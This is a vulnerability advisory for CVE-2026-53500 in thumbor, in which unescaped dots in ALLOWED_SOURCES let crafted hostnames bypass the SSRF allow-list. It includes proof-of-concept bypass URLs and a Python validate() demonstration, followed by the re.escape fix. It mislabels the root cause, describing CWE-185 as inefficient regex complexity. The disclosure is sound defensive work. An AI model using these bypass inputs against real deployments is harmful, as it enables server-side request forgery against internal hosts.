high · 8.2CVE-2026-53500Jul 31, 2026

CVE-2026-53500: thumbor ALLOWED_SOURCES Regex Wildcard SSRF Bypass

Rohit Hatagale
AI Security Researcher, SecureLayer7

A missing re.escape() call in thumbor's HTTP loader means every dot in a plain-string ALLOWED_SOURCES entry acts as a regex wildcard, letting an attacker fetch images from arbitrary hosts and bypass…

Packagethumbor
Ecosystempip
Affected<= 7.7.7
Fixed in7.8.0
CVE-2026-53500: thumbor ALLOWED_SOURCES Regex Wildcard SSRF Bypass

The problem

thumbor's validate() function in thumbor/loaders/http_loader.py wraps plain-string ALLOWED_SOURCES entries in ^...$ and passes them straight to re.match(). Because dots are never escaped, every . in a domain like s.glbimg.com matches any character.

An attacker who can influence the image URL (always possible when ALLOW_UNSAFE_URL = True, the default, or via a signed-URL endpoint) can supply a crafted hostname that satisfies the unescaped pattern and cause thumbor to fetch from an arbitrary host. This fully defeats the primary SSRF control that ALLOWED_SOURCES is intended to provide.

Proof of concept

A working proof-of-concept for CVE-2026-53500 in thumbor, with the exact payload below.

python
# ALLOWED_SOURCES = ["s.glbimg.com"] -- typical real-world config

# Both of these should be BLOCKED, but return True (<= 7.7.7)
GET http://sXglbimgYcom/secret.jpg   # dot positions replaced with any char
GET http://sAglbimg.com/secret.jpg   # attacker-controlled subdomain bypass

# Programmatic PoC
import re
from thumbor.config import Config
from thumbor.context import Context
from thumbor.loaders import http_loader as loader

config = Config()
config.ALLOWED_SOURCES = ["s.glbimg.com"]
ctx = Context(None, config, None)

print(loader.validate(ctx, "http://sXglbimgYcom/secret.jpg"))  # True -- bypass
print(loader.validate(ctx, "http://sAglbimg.com/secret.jpg"))  # True -- bypass
print(loader.validate(ctx, "http://s.glbimg.com/logo.jpg"))    # True -- correct

The root cause is CWE-185 (Inefficient Regular Expression Complexity / improper regex). Before the fix, the code built the pattern as f"^{pattern}$" with no escaping, so s.glbimg.com became the regex ^s.glbimg.com$, where each . matches any character.

The patch adds a single re.escape() call: f"^{re.escape(pattern)}$". This makes every metacharacter literal, so the pattern becomes ^s\.glbimg\.com$ and only the exact hostname matches. Users who genuinely need regex matching are already served by the existing isinstance(pattern, Pattern) branch, which is untouched.

The fix

Upgrade to thumbor 7.8.0. The fix applies re.escape() to all plain-string ALLOWED_SOURCES entries before they are used in re.match(). No configuration changes are required for correctly written configs. If you use regex-style patterns, switch them to compiled re.compile(...) objects, which bypass escaping via the existing Pattern branch.

Reporter not attributed.

References: [1][2][3][4]

Related research